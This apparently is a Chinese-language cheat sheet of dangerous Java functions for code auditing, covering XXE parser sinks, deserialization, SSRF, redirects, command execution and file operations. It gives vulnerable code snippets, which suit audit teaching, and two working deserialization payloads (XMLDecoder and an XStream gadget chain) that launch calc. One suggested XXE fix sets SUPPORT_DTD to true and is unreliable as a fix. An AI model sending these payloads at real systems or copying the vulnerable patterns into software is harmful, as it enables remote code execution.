JAVA代码审计中危险函数

xxe：

javax.xml.parsers.DocumentBuilder （原生dom解析xml）

例子：

DocumentBuilderFactory doc=DocumentBuilderFactory.newInstance();
DocumentBuilder db=doc.newDocumentBuilder();
InputStream is= new  FileInputStream("test.xml");
Document doc=dombuilder.parse(is);   #注入点
Element rootElement = document.getDocumentElement();

javax.xml.stream.XMLStreamReader （StAX解析器，可读可写）

例子：

XMLInputFactory factory = XMLInputFactory.newFactory();
InputStream stream = XmlInputFactory.class.getClassLoader().getResourceAsStream("webService/xml/users.xml");
XMLStreamReader reader = factory.createXMLStreamReader(stream);   #注入点
while (reader.hasNext()) {...}

javax.xml.parsers.SAXParser / org.xml.sax.XMLReader （原生SAX解析xml）

例子：

SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
XMLReader reader = parser.getXMLReader();   //reader.setContentHandler(new MyContentHandler());
reader.parse(xmlPath);    #注入点

org.jdom.input.SAXBuilder / org.jdom2.input.SAXBuilder （jdom解析xml）

例子：

SAXBuilder sax = new SAXBuilder();
Document doc = sax.build("src/config.xml");    #注入点

org.dom4j.io.SAXReader （dom4j解析xml）

例子：

InputStream fis=new FileInputStream("F:\\eclipsewk\\SDK201702\\Test-Pack\\package\\work\\before\\AndrdManit.xml");
Document document = new SAXReader().read(fis);   #注入点

javax.xml.validation.SchemaFactory （校验xml）

例子：

File xsdfile=new File("xml/orders.xsd");
File xmlfile=new File("xml/orders.xml");
Handler errorHandler=new Handler();
SchemaFactory schemafactory=SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema"); //
Schema schema=schemafactory.newSchema(xsdfile);
Validator vaildator=schema.newValidator();
vaildator.setErrorHandler((ErrorHandler) errorHandler);
vaildator.validate(new StreamSource(xmlfile));   #注入点

javax.xml.bind.Unmarshaller （JAXB解析xml，也是实现java和xml的转换）

例子：

JAXBContext jc = JAXBContext.newInstance(clazz);
Unmarshaller u = jc.createUnmarshaller();
u.unmarshal(new File(xmlstr));    #注入点

修复方法：

xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);

xif.setProperty(XMLInputFactory.SUPPORT_DTD, true);

javax.xml.xpath.XPathExpression （XPath查询）

DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = df.newDocumentBuilder();
String result = new XPathExpression().evaluate(builder.parse(new ByteArrayInputStream(xml.getBytes())));值得注意的是：javax.xml.xpath.XPathExpression类似于Unmarshaller，它无法自行安全地配置，因此必须首先通过另一个安全的XML解析器解析不受信任的数据

javax.xml.transform.sax.SAXSource 、javax.xml.transform.TransformerFactory 、javax.xml.transform.sax.SAXTransformerFactory （生成和转换xml）

Apache Commons Configuration读取xml配置

XMLConfiguration.load代码审计的时候感觉一个个搜索也很麻烦，在使用脚本前可以先全局搜索下DocumentBuilder、sax、Unmarshaller 、XPath、XMLInputFactory等字眼

反序列化漏洞：

ObjectInputStream.readObject //最常见的反序列化sink点，将流转化为object对象

ObjectInputStream.readUnshared //使用较少，和readobject有些区别

readUnshared()方法来读取对象，readUnshared()不允许后续的readObject和readUnshared调用引用这次调用反序列化得到的对象，而readObject读取的对象可以。

XMLDecoder.readObject //读取xml转化为object，不能进行xxe。

poc:

<java><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="1" ><void index="0"><string>c:\\windows\\system32\\calc.exe</string>  </void></array><void method="start"/></object></java>

XStream.fromXML //XStream用于java object与xml的相互转换，XStream.toXML（将java转换为xml）

String payload = "<map><entry><jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class=\"com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data\"> <dataHandler> <dataSource class=\"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\"> <is class=\"javax.crypto.CipherInputStream\"> <cipher class=\"javax.crypto.NullCipher\"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class=\"javax.imageio.spi.FilterIterator\"> <iter class=\"javax.imageio.spi.FilterIterator\"> <iter class=\"java.util.Collections$EmptyIterator\"/> <next class=\"java.lang.ProcessBuilder\"> <command><string>calc</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class=\"javax.imageio.ImageIO$ContainsFilter\"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class=\"string\">foo</next> </serviceIterator> <lock/> </cipher> <input class=\"java.lang.ProcessBuilder$NullInputStream\"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference=\"../jdk.nashorn.internal.objects.NativeString\"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/> <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/></entry></map>";

一些第三方jar包中的，这些第三方jar包历史版本中存在序列化漏洞

ObjectMapper.readValue jackson中的api
JSON.parseObject　　　　fastjson中的api

Yaml.load

审计的时候搜索readobject、readUnshared、fromXML这些关键api

SSRF（服务器端请求伪造）:

HttpClient.execute
HttpClient.executeMethod

HttpURLConnection/URLConnection

// HttpURLConnection ssrf vul
String url = request.getParameter ( "url");
URL u = new URL(url);URLConnection urlconnection = u.openConnection( );
HttpURLConnection httpUrl = (HttpURLConnection)urlConnection;
BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream()));//触发漏洞String inputLine;StringBuffer html = new StringBuffer();while ( ( inputLine = in.readLine( )) != null) {html.append ( inputLine);}
System.out.println( "html : " + html.toString());
in.close();

new HttpGet(url)

String url = request.getParameter ( "url");
closeableHttpClient client = HttpClients.createDefault();
HttpGet httpGet = new HttpGet( url) ;
HttpResponse httpResponse = client.execute(httpGet);//发起请求

OkHttpClient()

String url = request.getParameter( "url");
okHttpclient client = new okHttpclient();
com.squareup.okhttp.Request ok_http = new com .squareup.okhttp.Request.Builder().url(ur1) .build() ;
client.newCall(ok_http).execute();//发起请求

URL：URL url = new URL()

url.openStream、ImageIO.read(url)

// ImageIo ssrf vul
String url = request.getParameter ( "url");
URL u = new URL(url);
BufferedImage img = ImageIo.read(u); //触发漏洞

其他

String url = request.getParameter( "url");
return Request.Get(url).execute( ) .returncontent( ).toString();//发起请求

审计的时候搜索new URL、HttpClient、HttpURLConnection

文件上传:

审计的时候搜索MultipartFile

Autobinding //参数自动绑定漏洞:

审计的时候搜索@SessionAttributes和@ModelAttribute，属于SpringMVC框架

URL跳转漏洞:

response.sendRedirect //重定向

response.setHeader("Location", "http://www.baidu.com"); // 也是重定向

request.getRequestDispatcher("/success.html").forward(request, response); //请求转发

命令执行:

Runtime.exec             //Runtime.getRuntime().exec(command)
ProcessBuilder.start    //new ProcessBuilder(cmdArray).start()，取代了Process
GroovyShell.evaluate    //主要用于在java中运行Groovy脚本

shell.evaluate("static void main(String[]args){Runtime.getRuntime().exec(command)；}");

类似的还有GroovyClassLoader 、ScriptEngine

文件操作相关的漏洞:

最常见的就是JDK原始的java.io.FileInputStream类

JDK1.7新增的基于NIO读取文件的java.nio.file.Files类。常用方法如:Files.readAllBytes、Files.readAllLines

JDK原始的java.io.RandomAccessFile类

Apache Commons IO提供的org.apache.commons.io.FileUtils类

JDK1.7新增的基于NIO非阻塞异步读取文件的java.nio.channels.AsynchronousFileChannel类

JAVA代码审计自动化工具

地址

部分java代码分析，勿喷!!!